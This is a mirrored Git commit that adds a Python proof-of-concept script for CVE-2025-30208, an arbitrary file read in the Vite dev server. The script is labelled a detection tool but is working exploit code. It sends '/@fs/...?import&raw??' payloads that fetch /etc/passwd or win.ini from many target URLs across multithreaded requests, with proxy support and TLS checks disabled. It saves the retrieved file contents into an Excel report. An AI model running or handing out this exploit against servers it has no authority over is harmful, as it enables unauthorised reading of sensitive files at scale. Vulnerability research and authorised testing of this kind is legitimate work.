mirror of
https://github.com/iSee857/CVE-2025-30208-PoC.git
synced 2025-05-05 10:16:57 +00:00
Create Vite-CVE-2025-30208-ReadAnyFile.py
CVE-2025-30208动态检测
This commit is contained in:
commit
dbddfee5f2
226
Vite-CVE-2025-30208-ReadAnyFile.py
Normal file
226
Vite-CVE-2025-30208-ReadAnyFile.py
Normal file
@ -0,0 +1,226 @@
|
||||
import requests
|
||||
import argparse
|
||||
import urllib3
|
||||
import concurrent.futures
|
||||
import threading
|
||||
from openpyxl import Workbook
|
||||
from openpyxl.styles import PatternFill, Alignment
|
||||
from openpyxl.utils import get_column_letter
|
||||
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
COLORS = {
|
||||
"GREEN": '\033[92m',
|
||||
"RED": '\033[91m',
|
||||
"YELLOW": '\033[93m',
|
||||
"RESET": '\033[0m'
|
||||
}
|
||||
|
||||
|
||||
result_lock = threading.Lock()
|
||||
global_results = []
|
||||
|
||||
|
||||
EXCEL_STYLES = {
|
||||
"SUCCESS": PatternFill(start_color='C6EFCE', end_color='C6EFCE', fill_type='solid'),
|
||||
"WARNING": PatternFill(start_color='FFEB9C', end_color='FFEB9C', fill_type='solid'),
|
||||
"FAIL": PatternFill(start_color='FFC7CE', end_color='FFC7CE', fill_type='solid'),
|
||||
"ERROR": PatternFill(start_color='FFD700', end_color='FFD700', fill_type='solid')
|
||||
}
|
||||
|
||||
def parse_payload(payload_str):
|
||||
|
||||
if '??' in payload_str:
|
||||
# 使用rpartition确保只分割最后一个??
|
||||
path_part, sep, indicator_part = payload_str.rpartition('??')
|
||||
return (f"{path_part}{sep}", indicator_part.strip()) # 保留原始分隔符
|
||||
return (payload_str.strip(), "")
|
||||
|
||||
def check_url(target, payload, success_indicator, proxy):
|
||||
|
||||
full_url = target.rstrip('/') + payload
|
||||
result = {
|
||||
"url": full_url,
|
||||
"status": "PENDING",
|
||||
"status_code": 0,
|
||||
"indicator": success_indicator,
|
||||
"content": "",
|
||||
"error": ""
|
||||
}
|
||||
|
||||
try:
|
||||
proxies = {"http": proxy, "https": proxy} if proxy else None
|
||||
response = requests.get(
|
||||
full_url,
|
||||
timeout=10,
|
||||
verify=False,
|
||||
proxies=proxies,
|
||||
allow_redirects=False
|
||||
)
|
||||
|
||||
result["status_code"] = response.status_code
|
||||
result["content"] = response.text # 保留完整响应内容
|
||||
|
||||
|
||||
if response.status_code == 200:
|
||||
if success_indicator:
|
||||
if success_indicator in response.text:
|
||||
result["status"] = "SUCCESS"
|
||||
else:
|
||||
result["status"] = "WARNING" # 200但未匹配标识
|
||||
else:
|
||||
result["status"] = "SUCCESS" # 200且无标识要求
|
||||
else:
|
||||
result["status"] = "FAIL"
|
||||
|
||||
except Exception as e:
|
||||
result["status"] = "ERROR"
|
||||
result["error"] = str(e)
|
||||
|
||||
return result
|
||||
|
||||
def process_result(result):
|
||||
|
||||
status_colors = {
|
||||
"SUCCESS": COLORS["GREEN"],
|
||||
"WARNING": COLORS["YELLOW"],
|
||||
"FAIL": COLORS["RED"],
|
||||
"ERROR": COLORS["YELLOW"]
|
||||
}
|
||||
|
||||
status_msgs = {
|
||||
"SUCCESS": "检测成功(存在漏洞特征)",
|
||||
"WARNING": "检测成功但未匹配标识(需人工确认)",
|
||||
"FAIL": "请求失败",
|
||||
"ERROR": "请求错误"
|
||||
}
|
||||
|
||||
color = status_colors.get(result["status"], COLORS["RESET"])
|
||||
status_msg = status_msgs.get(result["status"], "未知状态")
|
||||
|
||||
output = [
|
||||
f"{color}[{result['status']}]{COLORS['RESET']}",
|
||||
f"完整请求URL: {result['url']}",
|
||||
f"状态码: {result['status_code']}",
|
||||
f"匹配标识: {result['indicator'] or '无'}"
|
||||
]
|
||||
|
||||
|
||||
if result["status_code"] == 200:
|
||||
content_preview = result["content"][:1000] # 显示前1000字符
|
||||
if len(result["content"]) > 1000:
|
||||
content_preview += "\n...(内容已截断,完整内容见报告)"
|
||||
output.append(f"响应内容预览:\n{content_preview}")
|
||||
|
||||
output.append("----------------------------------------")
|
||||
print("\n".join(output))
|
||||
|
||||
with result_lock:
|
||||
global_results.append({
|
||||
**result,
|
||||
"content": result["content"][:50000] # Excel中保留5万字符
|
||||
})
|
||||
|
||||
def export_to_excel(filename):
|
||||
wb = Workbook()
|
||||
ws = wb.active
|
||||
ws.title = "检测结果"
|
||||
|
||||
headers = [
|
||||
"目标URL", "检测路径", "状态",
|
||||
"状态码", "匹配标识", "响应内容", "错误信息"
|
||||
]
|
||||
for col, header in enumerate(headers, 1):
|
||||
ws.cell(row=1, column=col, value=header)
|
||||
ws.column_dimensions[get_column_letter(col)].width = 30
|
||||
|
||||
for row, result in enumerate(global_results, 2):
|
||||
ws.cell(row=row, column=1, value=result["url"])
|
||||
ws.cell(row=row, column=2, value=result["url"].replace(result["url"].split('//')[0]+'//'+result["url"].split('//')[1].split('/')[0], '')) # 显示相对路径
|
||||
ws.cell(row=row, column=3, value=result["status"])
|
||||
ws.cell(row=row, column=4, value=result["status_code"])
|
||||
ws.cell(row=row, column=5, value=result["indicator"])
|
||||
ws.cell(row=row, column=6, value=result["content"])
|
||||
ws.cell(row=row, column=7, value=result["error"])
|
||||
|
||||
fill = EXCEL_STYLES.get(result["status"], None)
|
||||
alignment = Alignment(wrap_text=True)
|
||||
for col in range(1, 8):
|
||||
ws.cell(row=row, column=col).fill = fill if fill else PatternFill()
|
||||
ws.cell(row=row, column=col).alignment = alignment
|
||||
|
||||
wb.save(filename)
|
||||
print(f"\n{COLORS['GREEN']}[+] 检测结果已保存到 {filename}{COLORS['RESET']}")
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Vite路径遍历漏洞检测工具 Author:iSee857", formatter_class=argparse.RawTextHelpFormatter)
|
||||
parser.add_argument("-f", "--file", help="包含目标URL的文件")
|
||||
parser.add_argument("-u", "--url", help="单个目标URL")
|
||||
parser.add_argument("-p", "--payload", action="append",
|
||||
help="""自定义检测路径(支持两种格式):
|
||||
1. 带检测标识:/path??indicator
|
||||
2. 仅路径:/path?param=1??
|
||||
示例:
|
||||
-p "/@fs/C://windows/win.ini?import&raw??"
|
||||
-p "/@fs/etc/passwd?import&raw??
|
||||
""")
|
||||
parser.add_argument("--proxy", help="代理服务器地址(如:http://127.0.0.1:8080)")
|
||||
parser.add_argument("-o", "--output", default="results.xlsx",
|
||||
help="输出文件名(默认:results.xlsx)")
|
||||
parser.add_argument("-t", "--threads", type=int, default=50,
|
||||
help="并发线程数量(默认:50,范围:1-200)")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
|
||||
if not args.url and not args.file:
|
||||
parser.error("必须指定 -u/--url 或 -f/--file 参数")
|
||||
|
||||
if args.threads < 1 or args.threads > 200:
|
||||
parser.error("线程数必须在1-200之间")
|
||||
|
||||
# 初始化检测规则
|
||||
if args.payload:
|
||||
payloads = [parse_payload(p) for p in args.payload]
|
||||
else:
|
||||
payloads = [
|
||||
("/@fs/C:/windows/win.ini?import&raw??", "fonts"),
|
||||
("/@fs/etc/passwd?import&raw??", "root:x")
|
||||
]
|
||||
|
||||
# 准备目标列表
|
||||
targets = []
|
||||
if args.url:
|
||||
targets.append(args.url.rstrip('/'))
|
||||
elif args.file:
|
||||
with open(args.file) as f:
|
||||
targets = [line.strip().rstrip('/') for line in f if line.strip()]
|
||||
|
||||
# 启动多线程检测
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||
futures = []
|
||||
for target in targets:
|
||||
for path, indicator in payloads:
|
||||
futures.append(
|
||||
executor.submit(
|
||||
check_url,
|
||||
target,
|
||||
path,
|
||||
indicator,
|
||||
args.proxy
|
||||
)
|
||||
)
|
||||
|
||||
for future in concurrent.futures.as_completed(futures):
|
||||
process_result(future.result())
|
||||
|
||||
# 导出结果
|
||||
if global_results:
|
||||
export_to_excel(args.output)
|
||||
else:
|
||||
print(f"{COLORS['YELLOW']}[!] 未发现有效检测结果{COLORS['RESET']}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
Loading…
x
Reference in New Issue
Block a user